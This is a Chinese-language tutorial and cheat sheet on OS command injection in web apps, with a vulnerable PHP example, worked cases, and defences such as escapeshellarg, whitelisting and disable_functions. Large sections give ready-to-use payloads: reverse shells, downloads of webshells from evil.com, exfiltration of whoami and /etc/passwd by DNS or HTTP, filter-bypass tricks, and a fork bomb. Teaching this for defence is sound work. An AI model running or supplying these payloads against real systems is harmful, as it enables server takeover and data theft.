命令注入漏洞
·
一、漏洞概述
1.1 核心概念
命令注入(Command Injection) 是指Web应用在调用系统命令时,允许用户控制命令参数或命令本身,且未对用户输入进行充分过滤,导致攻击者可以在服务器上执行任意系统命令。
一句话原理:用户输入被拼接到系统命令中,且未经过滤,导致“数据”被当作“命令”执行。
1.2 与代码注入的区别
| 对比项 | 命令注入 | 代码注入 |
|---|---|---|
| 执行环境 | 操作系统Shell | Web脚本语言(PHP、Python等) |
| 典型函数 | system()、exec()、shell_exec() |
eval()、assert() |
| 危害 | 直接控制服务器 | 执行任意代码 |
1.3 危险代码示例
<?php
// 最简危险代码
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
?>
// 正常请求
http://target.com/ping.php?ip=127.0.0.1
// 恶意请求
http://target.com/ping.php?ip=127.0.0.1; whoami
http://target.com/ping.php?ip=127.0.0.1| id
http://target.com/ping.php?ip=127.0.0.1 && cat /etc/passwd
二、漏洞危害
| 危害 | 说明 | 示例 |
|---|---|---|
| 敏感信息泄露 | 读取系统文件 | cat /etc/passwd |
| 提权 | 获取更高权限 | sudo -l、提权exp |
| 反弹Shell | 获取交互式控制 | nc -e /bin/sh |
| 写入Webshell | 持久化控制 | echo '<?php eval...' > shell.php |
| 内网渗透 | 扫描内网、横向移动 | nmap、curl内网 |
| 拒绝服务 | 消耗资源 | :(){ :|:& };:(fork炸弹) |
三、命令注入分类
3.1 按结果回显分类
| 类型 | 特点 | 利用难度 |
|---|---|---|
| 有回显 | 命令执行结果直接显示在页面 | 低 |
| 无回显(盲注) | 无输出,需带外或时间延迟 | 中 |
| 半回显 | 只返回部分信息(如错误信息) | 中 |
3.2 按注入点分类
| 类型 | 场景 | 示例 |
|---|---|---|
| 参数注入 | GET/POST参数 | ?ip=127.0.0.1 |
| Cookie注入 | Cookie字段 | Cookie: ip=127.0.0.1 |
| HTTP头注入 | User-Agent、X-Forwarded-For | 日志记录场景 |
| 文件上传 | 文件名注入 | 上传$(whoami).jpg |
四、常用命令连接符
| 连接符 | 作用 | Payload示例 |
|---|---|---|
; |
顺序执行 | 127.0.0.1; whoami |
& |
后台执行(无条件) | 127.0.0.1& whoami |
&& |
前一个成功才执行 | ping 1.1.1.1 && whoami |
| |
管道,前输出作为后输入 | id | base64 |
|| |
前一个失败才执行 | ping x.x.x.x || whoami |
`cmd` |
反引号执行 | 127.0.0.1 + `whoami` |
$(cmd) |
命令替换 | 127.0.0.1$(whoami) |
%0a |
换行(URL编码) | 127.0.0.1%0awhoami |
五、常用命令注入Payload
5.1 Linux Payload
# 基础命令
whoami
id
uname -a
cat /etc/passwd
cat /etc/shadow
ls -la /var/www/html
# 反弹Shell(常用)
bash -i >& /dev/tcp/攻击者IP/端口 0>&1
nc -e /bin/sh 攻击者IP 端口
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# 下载文件
wget http://攻击者IP/shell.php -O /var/www/html/shell.php
curl http://攻击者IP/shell.php -o shell.php
# 编码绕过
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
$(echo -e "\\x63\\x61\\x74\\x20\\x2f\\x65\\x74\\x63\\x2f\\x70\\x61\\x73\\x73\\x77\\x64")
# DNS外带(盲注)
ping -c 1 `whoami`.evil.com
curl http://evil.com/`id|base64`
5.2 Windows Payload
# 基础命令
whoami
ipconfig
systeminfo
type C:\Windows\win.ini
dir C:\Users
# 反弹Shell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/ps.ps1')"
# 下载文件
certutil -urlcache -f http://evil.com/shell.exe shell.exe
powershell Invoke-WebRequest -Uri http://evil.com/shell.exe -OutFile shell.exe
# 编码命令(Base64)
powershell -EncodedCommand YwBhAHQAIABjADoAXAB3AGkAbgBkAG8AdwBzAFwAdwBpAG4ALgBpAG4AaQ==
5.3 通用探测Payload
# 简单探测
127.0.0.1; echo test
127.0.0.1| echo test
127.0.0.1 && echo test
# 时间延迟探测
127.0.0.1; sleep 5
127.0.0.1 && ping -c 5 127.0.0.1
# 写入文件探测
127.0.0.1; echo test > /tmp/1.txt
# 然后访问 /tmp/1.txt 看是否存在
# DNS外带探测
127.0.0.1; nslookup `whoami`.evil.com
六、无回显命令注入(盲注)
6.1 时间延迟判断
# Linux
; sleep 5
&& sleep 5
| ping -c 5 127.0.0.1
# Windows
& timeout 5
| ping -n 5 127.0.0.1
6.2 写入Web目录
# 写入测试文件
; echo "test" > /var/www/html/test.txt
&& echo "<?php echo 'test'; ?>" > /var/www/html/shell.php
# 然后访问 test.txt 或 shell.php 验证
6.3 DNS外带数据(Linux)
# 使用dnslog平台
; nslookup `whoami`.xxxx.dnslog.cn
; curl http://xxxx.dnslog.cn/`whoami|base64`
# 示例
; `id`; curl http://evil.com/result.txt?data=`whoami|base64`
6.4 HTTP外带
; curl http://evil.com?data=`whoami`
; wget --post-data="data=`cat /etc/passwd|base64`" http://evil.com
6.5 利用错误信息
# 触发错误输出(某些场景下错误信息会回显)
; ls /nonexist
; cat /etc/shadow 2>&1
七、绕过技巧
7.1 空格绕过
| 绕过方式 | 示例 |
|---|---|
$IFS |
cat$IFS/etc/passwd |
{cmd,arg} |
{cat,/etc/passwd} |
%09(TAB) |
cat%09/etc/passwd |
%20 |
cat%20/etc/passwd |
< |
cat</etc/passwd |
> |
cat>/dev/null |
7.2 关键字过滤绕过
# 1. 引号绕过
w'h'o'am'i
w"h"o"am"i
whoam``i
# 2. 反斜杠绕过
w\ho\am\i
# 3. 通配符
/???/??t /???/??ss??? # /bin/cat /etc/passwd
/usr/bin/????? # /usr/bin/whoami
# 4. 变量拼接
a=wh;b=oami;$a$b
# 5. 编码执行
echo "d2hvYW1p" | base64 -d | bash
$(echo "d2hvYW1p" | base64 -d)
# 6. 命令替换
`echo whoami`
$(echo whoami)
# 7. 环境变量
$PATH | cut -c 1 # 取PATH第一个字符
${PATH:0:1} # 截取第一个字符,可用于构造斜杠
7.3 特殊字符绕过
| 过滤字符 | 绕过方式 |
|---|---|
; |
使用&、|、&&、||、%0a |
| |
使用;、&、&& |
& |
使用;、| |
` | 使用$() | |
|
$ |
使用` | |
7.4 长度限制绕过
# 使用wget分块下载
wget http://evil.com/1 -O /tmp/1
wget http://evil.com/2 -O /tmp/2
cat /tmp/1 /tmp/2 > /tmp/shell.sh
bash /tmp/shell.sh
# 使用DNS外带(短payload)
ping -c 1 `cat /etc/passwd|head -1|base64`.evil.com
7.5 使用IFS绕过空格
# IFS(Internal Field Separator)默认包含空格、制表符、换行
{cat,/etc/passwd}
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd # $9为空,只起到分隔作用
八、命令注入防御
8.1 最安全:避免调用系统命令
// 危险:使用system
system("ping " . $ip);
// 安全:使用内置函数(如PHP的filter_var验证IP)
if(filter_var($ip, FILTER_VALIDATE_IP)){
// 执行ping但使用escapeshellarg
}
8.2 使用转义函数
<?php
// escapeshellarg:转义参数,包裹在单引号中
$safe = escapeshellarg($user_input);
system("ping -c 4 " . $safe);
// escapeshellcmd:转义特殊字符
$safe = escapeshellcmd($user_input);
system($safe);
?>
区别:
-
escapeshellarg:用于转义参数值(推荐) -
escapeshellcmd:用于转义命令本身
8.3 白名单限制
<?php
$allowed_ips = ['127.0.0.1', '192.168.1.1'];
$ip = $_GET['ip'];
if (!in_array($ip, $allowed_ips)) {
die('非法IP');
}
system("ping -c 4 " . $ip);
?>
8.4 输入验证
<?php
// 验证IP格式
if (!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $ip)) {
die('无效IP');
}
system("ping -c 4 " . $ip);
?>
8.5 最小权限原则
# Web服务以低权限用户运行(www-data,不是root)
# 禁用危险函数(php.ini)
disable_functions = system, exec, shell_exec, passthru, popen, proc_open
8.6 使用语言内置库替代系统命令
| 需求 | 系统命令 | 替代方案 |
|---|---|---|
| Ping IP | ping |
PHP: fsockopen、Python: icmplib |
| 发送邮件 | mail |
使用SMTP库 |
| 压缩文件 | tar、zip |
使用ZipArchive等库 |
| DNS查询 | nslookup |
dns_resolve()、gethostbyname() |
九、检测方法
9.1 手工检测
# 1. 简单注入测试
参数值后加 ;echo test
观察响应中是否出现 "test"
# 2. 时间延迟测试
;sleep 5
观察响应时间是否超过5秒
# 3. 写入文件测试
;echo test > /tmp/test.txt
然后尝试访问 /tmp/test.txt
# 4. DNS外带测试
;nslookup `whoami`.your.dnslog.cn
查看DNS日志
9.2 自动化工具
# Commix(专门命令注入工具)
commix --url "http://target.com/ping.php?ip=127.0.0.1"
commix --url "http://target.com/ping.php?ip=127.0.0.1" --os-cmd="whoami"
# Burp Suite
- Intruder爆破命令连接符
- Scanner扫描命令注入
# SQLMap(也可能检测命令注入)
sqlmap -u "http://target.com/ping.php?ip=127.0.0.1" --os-shell
十、实战案例
案例1:Ping功能命令注入
// 漏洞代码
<?php
$ip = $_POST['ip'];
system("ping -c 4 " . $ip);
?>
利用:
POST /ping.php
ip=127.0.0.1; wget http://evil.com/shell.php -O /var/www/html/shell.php
案例2:Traceroute功能
<?php
$host = $_GET['host'];
system("/usr/bin/traceroute " . $host);
?>
利用:
http://target.com/tracer.php?host=google.com; whoami
案例3:日志记录功能(HTTP头注入)
<?php
$ua = $_SERVER['HTTP_USER_AGENT'];
system("echo '$ua' >> /var/log/access.log");
?>
利用:
# User-Agent设置
User-Agent: '; wget http://evil.com/shell.php -O /var/www/html/shell.php; '
案例4:无回显利用(反弹Shell)
# 攻击者监听
nc -lvnp 4444
# 注入payload
127.0.0.1; bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
# URL编码后
127.0.0.1%3B%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.100%2F4444%200%3E%261
十一、常见环境差异
Linux vs Windows
| 对比项 | Linux | Windows |
|---|---|---|
| 命令分隔符 | ;、&、&&、|、|| |
&、&&、|、|| |
| 环境变量 | $PATH |
%PATH% |
| 取变量值 | $var |
%var% |
| 字符串引号 | 单/双引号 | 双引号 |
| 路径分隔 | / |
\或/ |
| 重定向 | >、>> |
>、>> |
| 管道 | | |
| |
| 注释 | # |
:: 或 rem |
十二、速查表
常用Payload速查
# 基础命令执行
; whoami
| id
&& uname -a
# 文件读取
; cat /etc/passwd
| type C:\Windows\win.ini
# 反弹Shell
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
nc -e /bin/sh 192.168.1.10 4444
# 写入Webshell
; echo '<?php eval($_POST[1]);?>' > /var/www/html/shell.php
# DNS外带
; nslookup `whoami`.xxx.dnslog.cn
# 空格绕过
{cat,/etc/passwd}
cat${IFS}/etc/passwd
防御速查
// 1. 转义参数
$safe = escapeshellarg($input);
system("ping -c 4 " . $safe);
// 2. 白名单
if(in_array($input, $whitelist)) { ... }
// 3. 验证格式
if(preg_match('/^[\d\.]+$/', $input)) { ... }
// 4. 禁用危险函数
disable_functions = system,exec,shell_exec,passthru
十三、一句话总结
命令注入 = 用户输入拼接到系统命令 + 未过滤
核心危害:执行任意系统命令,可反弹Shell、提权、写马
主要绕过:连接符
;、&、|、$()、反引号;空格绕过$IFS、{cat,file};关键字引号/反斜杠/变量拼接防御核心:避免调用系统命令 > 使用转义函数(
escapeshellarg) > 输入验证/白名单
记住:永远不要相信用户输入,能用原生API就不要调用系统命令。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)